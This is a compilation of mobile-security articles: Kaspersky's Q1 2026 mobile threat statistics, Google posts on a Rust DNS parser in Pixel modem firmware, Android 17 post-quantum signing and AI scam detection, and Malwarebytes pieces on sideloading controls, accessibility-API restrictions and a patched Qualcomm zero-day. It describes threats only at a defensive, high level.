The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.

The quarter in numbers

According to Kaspersky Security Network, in Q1 2026:

• More than 2.67 million attacks utilizing malware, adware, or unwanted mobile software were prevented.
• The Trojan-Banker category was the prevalent mobile malware threat with a 52.96% share of total detected applications.
• More than 306,000 malicious installation packages were discovered, including:
  • 162,275 packages related to mobile banking Trojans;
  • 439 packages related to mobile ransomware Trojans.

Quarterly highlights

The number of malware, adware, or unwanted software attacks on mobile devices decreased to 2,676,328 in Q1, down from 3,239,244 in the previous quarter.

Attacks on users of Kaspersky mobile solutions, Q3 2024 — Q1 2026 (download)

The overall drop in attack volume stems primarily from a reduction in adware and RiskTool detections. Nonetheless, this trend does not equate to a lower risk for mobile users. As shown later in this report, the number of unique users targeted by these threats remained relatively stable.

In Q1, Synthient researchers identified a link between the notorious Kimwolf botnet and the IPIDEA proxy network. This network was later taken down in cooperation with GTIG.

In early 2026, we discovered several apps on Google Play and the App Store that contained a new version of the SparkCat crypto stealer.

The Trojan code, meticulously concealed, was embedded into the infected Android apps. The obfuscated malicious Rust library was decrypted using a Dalvik-like virtual machine custom-built by the attackers. The iOS version of the malware also underwent several changes; specifically, the attackers began leveraging Apple’s proprietary Vision framework for optical character recognition (OCR).

Mobile threat statistics

The number of Android malware samples saw a slight increase compared to Q4 2025, reaching a total of 306,070.

Detected malicious and potentially unwanted installation packages, Q1 2025 — Q1 2026 (download)

The detected installation packages were distributed by type as follows:

Detected mobile apps by type, Q4 2025* — Q1 2026 (download)

* Data for the previous quarter may differ slightly from previously published figures due to certain verdicts being retrospectively revised.

Threat actors once again ramped up the production of new banking Trojans; as a result, this category overtook all others in volume, accounting for more than half of all installation packages.

Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q4 2025 — Q1 2026 (download)

* The total percentage may exceed 100% if the same users encountered multiple attack types.

Following the surge in banking Trojan installation packages, the number of associated attacks also rose, causing Trojan-Banker apps to climb one spot in terms of their share of targeted users. Mamont variants emerged as the most prevalent banking Trojans, accounting for 73.5% of detections, with the rest of the users encountering Faketoken, Rewardsteal, Creduz, and other families.

Yet banking Trojans were still outpaced by adware and RiskTool-type unwanted apps when measured by the total number of affected users. Despite a decrease in their share of installation packages, these two app types retained their positions as the top two threats by attack volume. The most common adware detections involved HiddenAd (44.9%) and MobiDash (38.1%), while most frequently seen RiskTool apps were Revpn (67%) and SpyLoan (20.5%).

TOP 20 most frequently detected types of mobile malware

Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Backdoor.AndroidOS.Triada.ag	2.62	7.09	+4.48	+10
DangerousObject.Multi.Generic.	6.75	5.84	-0.92	-1
DangerousObject.AndroidOS.GenericML.	3.52	5.51	+1.99	+6
Trojan-Banker.AndroidOS.Mamont.jo	0.00	5.28	+5.28
Trojan.AndroidOS.Fakemoney.v	5.40	3.44	-1.96	-1
Trojan-Downloader.AndroidOS.Keenadu.l	0.00	3.35	+3.35
Trojan-Banker.AndroidOS.Mamont.jx	0.00	3.09	+3.09
Backdoor.AndroidOS.Triada.z	4.87	3.08	-1.79	-2
Trojan.AndroidOS.Triada.fe	5.01	2.98	-2.02	-4
Backdoor.AndroidOS.Keenadu.a	2.07	2.73	+0.66	+6
Trojan-Banker.AndroidOS.Mamont.jg	0.34	2.37	+2.03
Trojan.AndroidOS.Triada.hf	2.15	2.23	+0.07	+3
Trojan.AndroidOS.Boogr.gsh	2.35	2.15	-0.20	0
Trojan.AndroidOS.Triada.ii	5.68	2.07	-3.60	-11
Backdoor.AndroidOS.Triada.ae	1.91	1.76	-0.16	+3
Backdoor.AndroidOS.Triada.ab	1.79	1.72	-0.08	+3
Trojan.AndroidOS.Triada.gn	2.38	1.58	-0.80	-5
Trojan-Banker.AndroidOS.Mamont.gg	1.56	1.50	-0.06	+2
Trojan.AndroidOS.Triada.ga	1.48	1.50	+0.01	+4
Backdoor.AndroidOS.Triada.ad	0.53	1.40	+0.87	+44

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The pre-installed Triada.ag backdoor rose to the top spot; it is similar to the older Triada.z version we documented previously. Because the same variant was pre-installed across a wide range of devices, the total number of affected users is aggregated. Consequently, Triada outpaced even Mamont, as users encountered a variety of Mamont variants, causing the share of that banking Trojan to spread across multiple rows. Other pre-installed Triada variants (Triada.z, Triada.ae, Triada.ab, and Triada.ad) also made the rankings. Furthermore, we observed increasing activity from the Keenadu.a backdoor, while diverse variants of the embedded Triada Trojan remained in the rankings.

Mobile banking Trojans

Q1 2026 saw a characteristic rise in mobile banking Trojan activity, with the number of packages totaling 162,275, a 50% increase compared to the prior quarter.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q1 2025 — Q1 2026 (download)

We saw a similar growth in the previous quarter, with banking Trojan volumes rising by 50% during that period as well. Various Mamont variants accounted for the absolute majority of packages and represented nearly every entry in the rankings of most frequent banking Trojans by affected user count.

TOP 10 mobile bankers

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.jo	0.00	15.75	+15.75
Trojan-Banker.AndroidOS.Mamont.jx	0.00	9.22	+9.22
Trojan-Banker.AndroidOS.Mamont.jg	1.47	7.08	+5.61	+24
Trojan-Banker.AndroidOS.Mamont.gg	6.79	4.48	-2.32	-3
Trojan-Banker.AndroidOS.Mamont.ks	0.00	3.98	+3.98
Trojan-Banker.AndroidOS.Agent.ws	6.03	3.78	-2.25	-2
Trojan-Banker.AndroidOS.Mamont.hl	4.30	3.27	-1.03	+1
Trojan-Banker.AndroidOS.Mamont.iv	6.00	3.08	-2.92	-3
Trojan-Banker.AndroidOS.Mamont.jb	3.93	3.07	-0.86	+1
Trojan-Banker.AndroidOS.Mamont.jv	0.00	2.79	+2.79

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.

Posted by Jiacheng Lu, Software Engineer, Google Pixel Team

Google is continuously advancing the security of Pixel devices. We have been focusing on hardening the cellular baseband modem against exploitation. Recognizing the risks associated within the complex modem firmware, Pixel 9 shipped with mitigations against a range of memory-safety vulnerabilities. For Pixel 10, Google is advancing its proactive security measures further. Following our previous discussion on "Deploying Rust in Existing Firmware Codebases", this post shares a concrete application: integrating a memory-safe Rust DNS(Domain Name System) parser into the modem firmware. The new Rust-based DNS parser significantly reduces our security risk by mitigating an entire class of vulnerabilities in a risky area, while also laying the foundation for broader adoption of memory-safe code in other areas.

Here we share our experience of working on it, and hope it can inspire the use of more memory safe languages in low-level environments.

Why Modem Memory Safety Can’t Wait

In recent years, we have seen increasing interest in the cellular modem from attackers and security researchers. For example, Google's Project Zero gained remote code execution on Pixel modems over the Internet. Pixel modem has tens of Megabytes of executable code. Given the complexity and remote attack surface of the modem, other critical memory safety vulnerabilities may remain in the predominantly memory-unsafe firmware code.

Why DNS?

The DNS protocol is most commonly known in the context of browsers finding websites. With the evolution of cellular technology, modern cellular communications have migrated to digital data networks; consequently, even basic operations such as call forwarding rely on DNS services.

DNS is a complex protocol and requires parsing of untrusted data, which can lead to vulnerabilities, particularly when implemented in a memory-unsafe language (example: CVE-2024-27227). Implementing the DNS parser in Rust offers value by decreasing the attack surfaces associated with memory unsafety.

Picking a DNS library

DNS already has a level of support in the open-source Rust community. We evaluated multiple open source crates that implement DNS. Based on criteria shared in earlier posts, we identified hickory-proto as the best candidate. It has excellent maintenance, over 75% test coverage, and widespread adoption in the Rust community. Its pervasiveness shows its potential as the de-facto DNS choice and long term support. Although hickory-proto initially lacked no_std support, which is needed for Bare-metal environments (see our previous post on this topic), we were able to add support to it and its dependencies.

Adding no_std support

The work to enable no_std for hickory-proto is mostly mechanical. We shared the process in a previous post. We undertook modifications to hickory_proto and its dependencies to enable no_std support. The upstream no_std work also results in a no_std URL parser, beneficial to other projects.

• https://github.com/hickory-dns/hickory-dns/pull/2104
• https://github.com/servo/rust-url/pull/831
• https://github.com/krisprice/ipnet/pull/58

The above PRs are great examples of how to extend no_std support to existing std-only crates.

Code size study

Code size is the one of the factors that we evaluated when picking the DNS library to use.

Code size by category	Rust implemented Shim that calls Hickory-proto on receiving a DNS response	4KB
	core, alloc, compiler_builtins (reusable, one-time cost)	17KB
	Hickory-proto library and dependencies	350KB

---

Sum

371KB

We built prototypes and measured size with size-optimized settings. Expectedly, hickory_proto is not designed with embedded use in mind, and is not optimized for size. As the Pixel modem is not tightly memory constrained, we prioritized community support and code quality, leaving code size optimizations as future work.

However, the additional code size may be a blocker for other embedded systems. This could be addressed in the future by adding additional feature flags to conditionally compile only required functionality. Implementing this modularity would be a valuable future work.

Hook-up Rust to modem firmware

Before building the Rust DNS library, we defined several Rust unit tests to cover basic arithmetic, dynamic allocations, and FFI to verify the integration of Rust with the existing modem firmware code base.

Compile Rust code to staticlib

While using cargo is the default choice for compilation in the Rust ecosystem, it presents challenges when integrating it into existing build systems. We evaluated two options:

1. Using cargo to build a staticlib before the modem builds. Then add the produced staticlib into the linking step.
2. Directly work with rustc and integrate the Rust compilation steps into the existing modem build system.

Option #1 does not scale if we are going to add more Rust components in the future, as linking multiple staticlibs may cause duplicated symbol errors. We chose option #2 as it scales more easily and allows tighter integration into our existing build system. Our existing C/C++ codebase uses Pigweed to drive the primary build system. Pigweed supports Rust targets (example) with direct calls to rustc through rust tools defined in GN.

We compiled all the Rust crates, including hickory-proto, its dependencies, and core, compiler_builtin, alloc, to rlib. Then, we created a staticlib target with a single lib.rs file which references all the rlib crates using extern crate keywords.

Build core, alloc, and compiler_builtins

Android’s Rust Toolchain distributes source code of core, alloc, and compiler_builtins, and we leveraged this for the modem. They can be included to the build graph by adding a GN target with crate_root pointing to the root lib.rs of each crate.

Pixel modem firmware already has a well-tested and specialized global memory allocation system to support some dynamic memory allocations. alloc support was added by implementing the GlobalAlloc with FFI calls to the allocators C APIs:

use core::alloc::{GlobalAlloc, Layout};

extern "C" {
    fn mem_malloc(size: usize, alignment: usize) -> *mut u8;
    fn mem_free(ptr: *mut u8, alignment: usize);
}

struct MemAllocator;

unsafe impl GlobalAlloc for MemAllocator {
    unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
        mem_malloc(layout.size(), layout.align())
    }

    unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
        mem_free(ptr, layout.align());
    }
}

#[global_allocator]
static ALLOCATOR: MemAllocator = MemAllocator;

Pixel modem firmware already implements a backend for the Pigweed crash facade as the global crash handler. Exposing it into Rust panic_handler through FFI unifies the crash handling for both Rust and C/C++ code.

#![no_std]
use core::panic::PanicInfo;

extern "C" {
    pub fn PwCrashBackend(sigature: *const i8, file_name: *const i8, line: u32);
}

#[panic_handler]
fn panic(panic_info: &PanicInfo) -> ! {
    let mut filename = "";
    let mut line_number: u32 = 0;

    if let Some(location) = panic_info.location() {
        filename = location.file();
        line_number = location.line();
    }

    let mut cstr_buffer = [0u8; 128];
    // Never writes to the last byte to make sure `cstr_buffer` is always zero
    // terminated.
    let (_, writer) = cstr_buffer.split_last_mut().unwrap();
    for (place, ch) in writer.iter_mut().zip(filename.bytes()) {
        *place = ch;
    }

    unsafe {
        PwCrashBackend(
            "Rust panic\0".as_ptr() as *const i8,
            cstr_buffer.as_ptr() as *const i8,
            line_number,
        );
    }

    loop {}
}

Link Rust staticlib

The Pixel modem firmware linking has a step that calls the linker to link all the objects generated from C/C++ code. By using llvm-ar -x to extract object files from the Rust combined staticlib and supplying them to the linker, the Rust code appears in the final modem image.

There was a performance issue we experienced due to weak symbols during linking. The inclusion of Rust core and compiler-builtin caused unexpected power and performance regressions on various tests. Upon analysis, we realized that modem optimized implementations of memset and memcpy provided by the modem firmware are accidentally replaced by those defined in compiler_builtin. It seems to happen because both compiler_builtin crate and the existing codebase defines symbols as weak, linker has no way to figure out which one is weaker. We fixed the regression by stripping the compiler_builtin crate before linking using a one line shell script.

llvm-ar -t <rust staticlib> | grep compiler_builtins | xargs llvm-ar -d <rust staticlib>

Integrating hickory-proto

Expose Rust API and calling back to C++

For the DNS parser, we declared the DNS response parsing API in C and then implemented the same API in Rust.

int32_t process_dns_response(uint8_t*, int32_t);

The Rust function returns an integer standing for the error code. The received DNS answers in the DNS response are required to be updated to in-memory data structures that are coupled with the original C implementation, therefore, we use existing C functions to do it. The existing C functions are dispatched from the Rust implementation.

pub unsafe extern "C" fn process_dns_response(
    dns_response: *const u8,
    response_len: i32,
) -> i32 {
    //... validate inputs `dns_response` and `response_len`.


    // SAFETY:
    // It is safe because `dns_response` is null checked above. `response_len`
    // is passed in, safe as long as it is set correctly by vendor code.
    match process_response(unsafe {
        slice::from_raw_parts(dns_response, response_len)
    }) {
         Ok(()) => 0,
         Err(err) => err.into(),
    }
}

fn process_response(response: &[u8]) -> Result<()> {
    let response = hickory_proto::op::Message::from_bytes(response)?;
    let response = hickory_proto::xfer::DnsResponse::from_message(response)?;

   
    for answer in response.answers() {  
        match answer.record_type() {
            hickory_proto::RecordType:... => {
                // SAFETY:
                // It is safe because the callback function does not store
                // reference of the inputs or their members.
                unsafe {
                    callback_to_c_function(...)?;
                }
            }
            
            // ... more match arms omitted.
        }    
    }

    Ok(())
}

In our case, the DNS responding parsing function API is simple enough for us to hand write, while the callbacks back to C functions for handling the response have complex data type conversions. Therefore, we leveraged bindgen to generate FFI code for the callbacks.

Build third-party crates

Even with all features disabled, hickory-proto introduces more than 30 dependent crates. Manually written build rules are difficult to ensure correctness and scale poorly when upgrading dependencies into new versions.

Fuchsia has developed cargo-gnaw to support building their third party Rust crates. Cargo-gnaw works by invoking cargo metadata to resolve dependencies, then parse and generate GN build rules. This ensures correctness and ease of maintenance.

Conclusion

The Pixel 10 series of phones marks a pivotal moment, being the first Pixel device to integrate a memory-safe language into its modem.

While replacing one piece of risky attack surface is itself valuable, this project lays the foundation for future integration of memory-safe parsers and code into the cellular baseband, ensuring the baseband’s security posture will continue to improve as development continues.

Special thanks to Armando Montanez, Bjorn Mellem, Boky Chen, Cheng-Yu Tsai, Dominik Maier, Erik Gilling, Ever Rosales, Hungyen Weng, Ivan Lozano, James Farrell, Jeffrey Vander Stoep, Jiacheng Lu, Jingjing Bu, Min Xu, Murphy Stein, Ray Weng, Shawn Yang, Sherk Chung, Stephan Chen, Stephen Hines.

Posted by Eric Lynch, Product Manager, Android and Dom Elliott, Group Product Manager, Google Play

Modern digital security is at a turning point. We are on the threshold of using quantum computers to solve "impossible" problems in drug discovery, materials science, and energy—tasks that even the most powerful classical supercomputers cannot handle. However, the same unique ability to consider different options simultaneously also allows these machines to bypass our current digital locks. This puts the public-key cryptography we’ve relied on for decades at risk, potentially compromising everything from bank transfers to trade secrets. To secure our future, it is vital to adopt the new Post-Quantum Cryptography (PQC) standards National Institute of Standards and Technology (NIST) is urging before large-scale, fault-tolerant quantum computers become a reality.

To stay ahead of the curve, the technology industry must undertake a proactive, multi-year migration to Post-Quantum Cryptography (PQC). We have been preparing for a post-quantum world since 2016, conducting pioneering experiments with post-quantum cryptography, rolling out post-quantum capabilities in our products, and sharing our expertise through threat models and technical papers. For Android, the objective extends beyond patching individual applications or transport protocols. The imperative is to ensure that the entire platform architecture is resilient for the decades to come.

We are beginning tests of PQC enhancements starting in the next Android 17 beta, followed by general availability in the Android 17 production release. This deployment introduces a comprehensive architectural upgrade that is being rolled out across the operating system. By integrating the recently finalized NIST PQC standards deep into the platform, we’re establishing a new, quantum-resistant chain of trust. This chain of trust secures the platform continuously—from the moment the OS powers on, to the execution of applications distributed globally. Android is swapping today’s digital locks for advanced encryption to help enhance the security of every app you download—no matter how powerful future supercomputers get.

Securing the foundation: Verified boot and hardware trust

Security on any computing device begins when the hardware starts; if the underlying operating system is compromised, all subsequent software protections fail. As quantum computing advances, adversaries could potentially forge digital signatures to bypass these foundational integrity checks. To secure the platform against this looming threat, Android 17 introduces two major post-quantum cryptographic (PQC) upgrades:

1. Upgrading Android Verified Boot (AVB): The AVB library is integrating the Module-Lattice-Based Digital Signature Algorithm (ML-DSA). This provides quantum-resistant digital signatures, ensuring the software loaded during the boot sequence remains highly resistant to unauthorized modification.
2. Migrating Remote Attestation: Android 17 begins the transition of Remote Attestation to a fully PQC-compliant architecture under the current standards. By updating KeyMint's certificate chains to support quantum-resistant algorithms, devices can securely prove their state to relying parties, maintaining trust in a post-quantum environment.

Empowering developers: Android Keystore updates

Protecting the underlying operating system is only the first layer of defense; developers must be equipped with the cryptographic primitives necessary to leverage PQC keys and establish robust identity verification.

Implementing lattice-based cryptography, which requires significantly larger key sizes and memory footprints than classical elliptic curve cryptography, within the severely resource-constrained Trusted Execution Environment (TEE), represents a major engineering achievement. This capability is designed to support the hardware roots of trust and can now generate and verify post-quantum signatures.

Building on this hardware foundation, Android 17 updates Android Keystore to natively support ML-DSA. This allows applications to leverage quantum-safe signatures entirely within the device’s secure hardware, isolating sensitive key material from the main operating system. The SDK exposes both ML-DSA-65, and ML-DSA-87, enabling developers to seamlessly integrate these using the standard KeyPairGenerator API. This establishes a new era of identity and authentication for the app ecosystem without requiring developers to engineer proprietary cryptographic implementations.

Ecosystem scale: Bringing hybrid signing to Google Play apps and games

Android is committed to ensuring the platform is PQC resistant and extending the chain of PQC resistance to application signatures. The mechanisms used to verify the authenticity of applications are being upgraded to ensure that app installations and subsequent updates are strictly tamper-proof against quantum-enabled signature forgery. The platform will verify PQC signatures over APKs to enable this chain of trust.

To bring these critical protections to the wider developer community with minimal friction, the transition will be supported through Play App Signing. This approach provides an immediate bridge to quantum safety for the majority of active installs. Google Play will let developers automatically generate 'hybrid' signature blocks that combine classical and PQC keys.

Updating keys across billions of active devices is a complex operational endeavor. Play App Signing leverages Google Cloud KMS, which helps ensure industry-leading compliance standards, to secure signing keys. By managing signing keys securely in the cloud, Google Play enables developers to seamlessly upgrade their app security to PQC standards without the burden of complex, manual key management.

During the Android 17 release cycle, Google Play will handle the generation of quantum-safe ML-DSA signing keys for new apps and existing apps that opt-in, independent of the applications target API . Later, developers will be able to choose their own classical and ML-DSA signing keys and delegate them to Google Play for their hybrid key upgrade. To promote security best practices, Google Play will also start prompting developers to upgrade their signing keys at least every two years.

The cryptographic roadmap: From authenticity to privacy

Google’s post-quantum transition began in 2016, and Android 17 marks the first phase of Android’s post-quantum transition:

• Securing the foundation: We are upholding the integrity of our attestation and Chain of Trust by incorporating ML-DSA into Android Verified Boot.
• Empower Developers: The inclusion of ML-DSA support within Android Keystore and Play App Signing allows developers to safeguard their users and application.
• Ecosystem Scale: By using hybrid signatures for APKs, developers can create a protected transition that preserves current trust while adding post-quantum defenses to block unauthorized updates.

Our roadmap further integrates post-quantum key encapsulation into KeyMint, Key Attestation and Remote Key Provisioning. This evolution is intended to bolster the security of the entire identity lifecycle—from hardware-level DICE measurements to our remote attestation servers—ensuring the Android ecosystem remains resilient and private against the quantum threats of tomorrow.

Google has announced the introduction of Advanced Flow, designed to let Android users install apps from unverified developers more safely than before.

This process is known as sideloading. It means installing an app on your device from somewhere other than the Google Play store, usually by downloading and opening its installation file yourself.​

Right now, that typically involves:

• Downloading an app file (an APK on Android) from a website, email, or another source instead of Google Play.​
• Manually installing it, often after turning on a setting that allows apps from “unknown” or “unverified” developers.

From Google’s point of view, this has been a security weak spot. Scammers regularly abuse sideloading to trick victims into installing malware while bypassing built‑in protections.

They often pressure victims into installing apps that turn out to be infostealers or other malware. According to research by the Global Anti-Scam Alliance (GASA), scams caused an estimated $442 billion in losses last year.

So anything that helps reduce that risk is welcome.

What Google is changing isn’t dramatic, but it does make the process of installing an app from outside the official Play Store more secure. In simple terms, Advanced Flow adds extra steps and delays so scammers can’t rush people into disabling protections and installing their malware.

How Advanced Flow works

To sideload apps using Advanced Flow, users will need to go through a series of steps:

• Enable developer mode in system settings. This is easy enough, and helps prevent accidental or one-tap bypasses often used in high-pressure scams.
• Complete a quick safety check to make sure that no one is talking you into turning off your security. Scammers often pressure victims into disabling protections.
• Restart your device, which cuts off any remote access or active phone calls a scammer might be using to guide you.
• Wait one day, then you can confirm the change using biometrics (like fingerprint or face unlock) or your device PIN. This one-time, one-day delay breaks the urgency scammers rely on, giving you time to think.

Once you’ve confirmed you understand the risks, you’re all set to install apps from unverified developers. You can allow this for seven days or indefinitely. For safety, you’ll still see a warning that the app is from an unverified developer, but you can just tap “Install Anyway.”

In addition to the Advanced Flow, Google is introducing free, limited distribution accounts for students and hobbyists. These let developers share apps with a small group (up to 20 devices) without needing ID verification or a registration fee. 

What this means for users

So after these changes, these will be the options for users that have “developer mode” enabled on their Android device.

• Sideloading directly from verified developers
• Sideloading from developers with limited distribution accounts
• Sideloading from unverified developers with Advanced Flow

Advanced Flow is expected to roll out in August 2026.

Overall, it seems a reasonable compromise. Sideloading isn’t going away, so this keeps that ability but adds meaningful barriers against scam‑driven installs, thwarting social‑engineering campaigns without outright killing power‑user workflows. The one-day delay could turn out to be frustrating though, even if it’s only a one-time event.

---

We don’t just report on phone security—we provide it

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Google just dropped a bombshell for app developers with the latest version of its Android mobile operating system. The company can now prevent apps from installing if they try to use the system’s accessibility features.

The new development, live in version 17.2 of Android, is all about security, explains the company. It stops certain kinds of apps from using the accessibility service if Advanced Protection Mode (APM) is enabled.

The accessibility API lets app developers support users living with disabilities who need extra help using their phones. Apps can use this API to access the screen in unique ways, control input for the user, and use voice services, for example.

Sadly, as with most useful tools, someone will always find a way to misuse it and ruin it for everyone else. Malware developers have been using this API for years as a way into your bank account. The accessibility service has a lot of power: Any app with permissions to use it can read what’s on your screen.

Many Android banking Trojans are little more than accessibility API wrappers with criminal intent. They steal 2FA codes, impersonate victims, and drain accounts while victims sleep.

Two tricks dominate. The first is fake overlays. The accessibility API lets you put overlays on top of another app’s screen. Banking and cryptocurrency Trojan developers can use this to capture your keystrokes (you think you’re just logging into your banking app, but malware is collecting everything you type).

The second is permission abuse. Once the Trojan has your passwords, it can authorize its own transactions.

The number of malware frameworks taking advantage of the accessibility API has grown. DroidLock uses it to steal your personal data before demanding a ransom. Albiriox uses it to install itself and give remote control to attackers halfway around the world.

We saw both in December, and just last month Malwarebytes researcher Stefan Dasic noticed an accessibility service-abusing malware program posing as a fake Google Security page.

Google’s nuclear option

Google has tried before to curb misuse of the API. In 2017, it warned developers to justify their use of accessibility features or risk removal from the Play Store. Developers revolted, and Google relented. But then, in November 2021, it began demanding permission forms for accessibility API usage for Android 12+ apps.

Now the company is getting tougher still, enforcing stricter accessibility API rules. Apps can no longer freely enable accessibility services using a simple software flag. Instead, only apps whose core purpose is accessibility will be allowed to use it.

Google’s examples include screen readers, switch inputs, voice controls, and Braille displays. With these new rules, password managers or automation apps aren’t getting to the accessibility API anymore.

At least, not if the user has APM turned on.

Launched in May last year, APM is Google’s version of Apple’s Lockdown Mode. It introduces far tighter security controls for people who switch it on, making it harder for malware to exploit them.

The trade-off for that extra security is more limited functionality. For example, only apps from trusted sources will install, and data transfer via USB is restricted. Accessibility API access is now restricted too.

So now, you can be a password manager or an accessibility tool, but not both. Developers relying on accessibility for convenience features will need to find another way.

This is Google acknowledging that some APIs are too dangerous to leave open, even if some legitimate apps suffer. The company is betting that most users care more about not getting robbed than having their password manager use the accessibility API for convenience.

Malware authors will adapt, as always. But for now, Google just made phones with APM turned on a lot harder to mess with.

---

We don’t just report on phone security—we provide it

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Google has patched 129 vulnerabilities in Android in its March 2026 Android Security Bulletin, including a Qualcomm display flaw that is known to be actively exploited.

You can check your device’s Android version, security update level, and Google Play system update in Settings. You should get a notification when updates are available, but you can also check for them yourself.

On most phones, go to Settings > About phone (or About device), then tap Software updates to see if anything new is available. The exact steps may vary slightly depending on the brand and Android version you’re on.

If your Android phone shows a patch level of 2026-03-05 or later, these issues are fixed.

Keeping your device up to date protects you from known vulnerabilities and helps you stay safe. We know that because of patch gaps and end-of-support cycles, some users may not receive these updates. That’s why additional protection for your Android device is important.

Technical details

The Android zero-day, tracked as CVE-2026-21385, is a high‑severity bug in a Qualcomm graphics/display component that attackers are already exploiting in limited, targeted attacks.

The vulnerability lives in an open‑source Qualcomm graphics/display component used by a large number of Android chipsets, with Qualcomm listing that well over 230 different chipset models are affected. Based on recently published Android and chipset market‑share percentages, it is reasonable to assume the issue affects hundreds of millions of devices worldwide, even if the exact number is hard to pin down.

On most Android phones, you can view the processor model in Settings > About phone (or About device) > Detailed info and specs, and look for entries such as “Processor,” “Chipset,” or “SoC.” Names like “Snapdragon 8 Gen 2,” “Snapdragon 778G,” or “Qualcomm SM8xxx/SM7xxx,” indicate a Qualcomm chipset and that the device may be in the affected family.

Google says there are signs that CVE‑2026‑21385 is already being used in “limited, targeted exploitation,” which usually means a small number of high‑value targets rather than broad, drive‑by attacks on the general public. Current descriptions point to a memory corruption scenario in the graphics component. The official description says:

“Memory corruption while using alignments for memory allocation.”

This means that if an attacker can get a malicious app or local code onto the device, they can feed specially crafted data into the graphics component’s driver and corrupt memory in a controlled way. In practice, a bug like this is a good candidate for turning a normal app’s limited access into something much more powerful, like using it as a building block in a chain of exploits to escalate privileges or to escape a sandbox.

As you can see, the attacker needs some kind of local foothold first, such as getting you to install a malicious app, exploiting another vulnerability, or abusing a compromised app already on the device. 

How to stay safe

From the available information, attackers would need to trick a user into installing a malicious app that could then compromise the device. That’s why it’s a good idea to follow these safety precautions:

• Only install apps from official app stores whenever possible and avoid installing apps promoted in links in SMS, email, or messaging apps.
• Before installing finance‑related or retailer apps, verify the developer’s name, number of downloads, and user reviews rather than trusting a single promotional link.
• Protect your devices. Use an up-to-date, real-time anti-malware solution like Malwarebytes for Android.
• Scrutinize permissions. Does an app really need the permissions it’s requesting to do the job you want it to do? Especially if it asks for accessibility, SMS, or camera access.
• Keep Android, Google Play services, and all other important apps up to date so you get the latest security fixes.

---

We don’t just report on phone security—we provide it

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse

We’ve shared how Android’s proactive, multi-layered scam defenses utilize Google AI to protect users around the world from over 10 billion suspected malicious calls and messages every month¹. While that scale is significant, the true impact of these protections is best understood through the stories of the individuals they help keep safe every day. This includes people like Majik B., an IT professional in Sunnyvale, California.

Despite his technical background, Majik recently found himself on a call that felt dangerously legitimate. While using his Pixel, he received a call that appeared to be from his bank. The number looked correct, the caller knew his name and his address, and the story about a "suspicious charge" made perfect sense. "I’m usually pretty careful about this stuff," Majik recalled, "but I stayed on the line longer than I normally would. Even knowing how these scams work, it was convincing in the moment."

The turning point came when his phone displayed a Scam Detection warning during the call, which provided a critical moment to pause and reflect. Majik hung up, checked his bank app directly, and confirmed there was no fraudulent charge. For Majik, Scam Detection was the intervention he needed: “The warning is what made me pause and avoid a bad situation”.

While stories like Majik’s show how our existing protections provide a robust shield against scams, our work isn't done. As scammers evolve their tactics and create more convincing and personalized threats, we’re using the best of Google AI to stay one step ahead.

A recent evaluation by Counterpoint Research found that Android smartphones provide the most comprehensive AI-powered protections of any mobile platform. We are committed to building on this foundation by expanding our AI-powered protections to more users and devices, while rolling out new features that utilize on-device AI to defend against increasingly sophisticated threats.

Expanding Scam Detection for Calls to Samsung Devices

To help protect you during phone calls, Scam Detection alerts you if a caller uses speech patterns commonly associated with fraud. We are bringing these protections to more of our users through new regional expansion and availability on new devices. Scam Detection for phone calls on Google Pixel devices is available in the US, UK, Australia, Canada, France, Germany, India, Ireland, Italy, Japan, Mexico, and Spain.

Scam Detection is already helping millions of users to stay safe from scammers, and we are expanding this feature to more manufacturers, starting with the Samsung Galaxy S26 series in the U.S. We are continuing to work with our partners to bring these industry-leading protections to even more users.

Powered by Gemini’s on-device model, Scam Detection provides intelligent protection against scam calls while ensuring that the processing stays on your device. This keeps your conversations private while delivering warnings in real-time. To preserve your privacy, the phone conversation processed by Scam Detection is neither stored on your device, nor shared outside of the device. To ensure you stay in total control of your experience, Scam Detection is turned off by default. When enabled, the feature only applies to calls identified as potential scams and is never used in calls with your contacts. You can easily manage these preferences in your phone settings whenever you choose.

Enhanced Protection Against Messaging Scams

We want everyone to feel secure when they open their messages, no matter where they are or what language they speak. To make this possible, we’ve now expanded Scam Detection for Google Messages to more than 20 countries. This includes support for several languages including English, Arabic, French, German, Portuguese, and Spanish.

Beyond reaching more people, we are also making our protections more intelligent. We are enhancing how Google Messages identifies fraudulent texts by utilizing our Gemini on-device model on the latest Android flagship devices in the US, Canada, and the UK. The added power of Gemini’s on-device model allows for a much more nuanced analysis of complex conversational threats.

For example, it can better detect the subtle conversational patterns used in job offer scams or sophisticated romance baiting scams (also known as “pig butchering”), a deceptive tactic where a scammer builds a long-term "relationship" with a potential victim to gain their trust, before tricking them into a fraudulent investment. Because these methods rely on gradual manipulation and don’t present typical warning signs, they need more advanced capabilities to catch them at scale. These advanced protections are now rolling out on Google Pixel 10 series and other select devices, and will be available on the Samsung Galaxy S26 series.

Gemini-powered Scam Detection alerts a user to a job offer scam

Using the Best of Google AI to Set the Standard in Mobile Scam Protection

Android continues to set the standard in mobile scam protections by leveraging advanced AI to identify and intercept threats as they happen. As scammer’s strategies shift, we remain committed to developing equally adaptive and intelligent defenses. Our goal is to provide you with peace of mind so you can continue to connect and communicate with confidence, knowing our multi-layered defenses are there to help protect your financial and personal data against mobile scams.

---

Disclaimers

